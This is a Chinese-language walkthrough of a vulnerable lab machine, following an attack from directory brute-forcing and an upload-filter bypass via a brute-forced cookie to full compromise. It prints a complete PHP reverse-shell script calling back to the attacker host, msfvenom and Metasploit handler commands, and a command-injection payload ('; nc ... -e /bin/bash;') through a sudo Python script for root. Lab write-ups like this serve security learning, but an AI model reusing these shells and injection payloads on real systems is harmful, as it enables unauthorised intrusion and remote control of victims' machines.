环境
靶机192.168.19.140 kali攻击机192.168.19.131
工具
nmap netdiscover gobuster 御剑 Xshell msf netcat
流程
用netdiscover对目标网段进行扫描 得到目标主机192.168.19.140 使用nmap对该主机进行端口扫描 
得到端口22与80端口是开启的 上80端口看到只有三张图片就对目录进行爆破
gobuster dir -u http:

http:
 尝试上传shell和php文件都失败了 txt文件可以上传 而目录
http://192.168.19.140/owls/ 则为上传的目录  http://192.168.19.140/ajax.php 是个空网页 查看源码在最下面有几行代码  根据经验这个网页一定有东西果然用御剑扫到 http://192.168.19.140/ajax.php.bak拷贝文件  打开该文件是段过滤上传文件的代码  代码审计大概意思就是当满足这个带有cookie键值为admin=&G6u@B6uDXMq&Ms,再加一个大写字符时是可以上传pdf,php,txt文件的 那就直接burpsuite抓包改包 先准备好反弹shell(找了好几个脚本终于这个可以反弹泪目)
<?php
error_reporting (E_ERROR);
ignore_user_abort(true);
ini_set('max_execution_time',0);
$os = substr(PHP_OS,0,3);
$ipaddr = '192.168.19.131';
$port = '1222';
$descriptorspec = array(0 => array("pipe","r"),1 => array("pipe","w"),2 => array("pipe","w"));
$cwd = getcwd();
$msg = php_uname()."\n------------Code by Spider-------------\n";
if($os == 'WIN') {
$env = array('path' => 'c:\\windows\\system32');
} else {
$env = array('path' => '/bin:/usr/bin:/usr/local/bin:/usr/local/sbin:/usr/sbin');
}
if(function_exists('fsockopen')) {
$sock = fsockopen($ipaddr,$port);
fwrite($sock,$msg);
while ($cmd = fread($sock,1024)) {
if (substr($cmd,0,3) == 'cd ') {
$cwd = trim(substr($cmd,3,-1));
chdir($cwd);
$cwd = getcwd();
}
if (trim(strtolower($cmd)) == 'exit') {
break;
} else {
$process = proc_open($cmd,$descriptorspec,$pipes,$cwd,$env);
if (is_resource($process)) {
fwrite($pipes[0],$cmd);
fclose($pipes[0]);
$msg = stream_get_contents($pipes[1]);
fwrite($sock,$msg);
fclose($pipes[1]);
$msg = stream_get_contents($pipes[2]);
fwrite($sock,$msg);
fclose($pipes[2]);
proc_close($process);
}
}
}
fclose($sock);
} else {
$sock = socket_create(AF_INET,SOCK_STREAM,SOL_TCP);
socket_connect($sock,$ipaddr,$port);
socket_write($sock,$msg);
fwrite($sock,$msg);
while ($cmd = socket_read($sock,1024)) {
if (substr($cmd,0,3) == 'cd ') {
$cwd = trim(substr($cmd,3,-1));
chdir($cwd);
$cwd = getcwd();
}
if (trim(strtolower($cmd)) == 'exit') {
break;
} else {
$process = proc_open($cmd,$descriptorspec,$pipes,$cwd,$env);
if (is_resource($process)) {
fwrite($pipes[0],$cmd);
fclose($pipes[0]);
$msg = stream_get_contents($pipes[1]);
socket_write($sock,$msg,strlen($msg));
fclose($pipes[1]);
$msg = stream_get_contents($pipes[2]);
socket_write($sock,$msg,strlen($msg));
fclose($pipes[2]);
proc_close($process);
}
}
}
socket_close($sock);
}
?>
用crunch生成最后一位大写的字符  上传shell用brupsuite截断 发送到爆破模块然后再添加一行 Cookie:admin=&G6u@B6uDXMq&Ms后面加一字符然后用刚刚生成的字典爆破 此外,还要使用post方式提交一个参数secure 设置了一个回显1(成功上传回显1) 
在爆破到R时回显1所以最后一位是R 上传时截断改包再forword 上传成功  本地开启监听
访问上传的php页面都得到反弹shell

优化终端
python3 -c 'import pty; pty.spawn("/bin/bash")'
导入不了pty模块搞了半天也没得结果算了用MSF吧 先生成php的反弹shell
msfvenom -p php/meterpreter/reverse_tcp LHOST=192.168.19.131 LPORT=1222 R > sha1.php
 然后打开msfconsole监听 设置exploit和payload模块use exploit/multi/handler set payload php/meterpreter/reverse_tcp
设置好端口和ip然后run   然后run访问上传的php得到了反弹shell 在athena的用户目录里面有password文件 查看得到密码
myvulnerableapp[Asterisk]
逗比的是后面中括号里面这个单词翻译为星号难道密码是myvulnerableapp*还是说差一位字符 ssh登录用户athena试试 
还真是擦差点就去爆破了脑壳铁
sudo -查看权限 得到root不要密码  cat看一下对应的py文件又是代码审计 大概意思就是执行了该py文件会让你输入一个seed值然后
cmd = "echo %s >> log.txt" % seed
会用echo把你输入的东西输出到log.txt文件里 这个输出过程是有是会执行bash直接构造一句话反弹shell;nc 192.168.19.131 6666 -e /bin/bash; 注意前面要加一个;把前面闭合(在这又折腾了半天) 在kali设置监听 nc -lvnp 6666  得到反弹shell提权成功
总结
坑很多搞了好几天总算完成,代码审计能力有待提高啊
|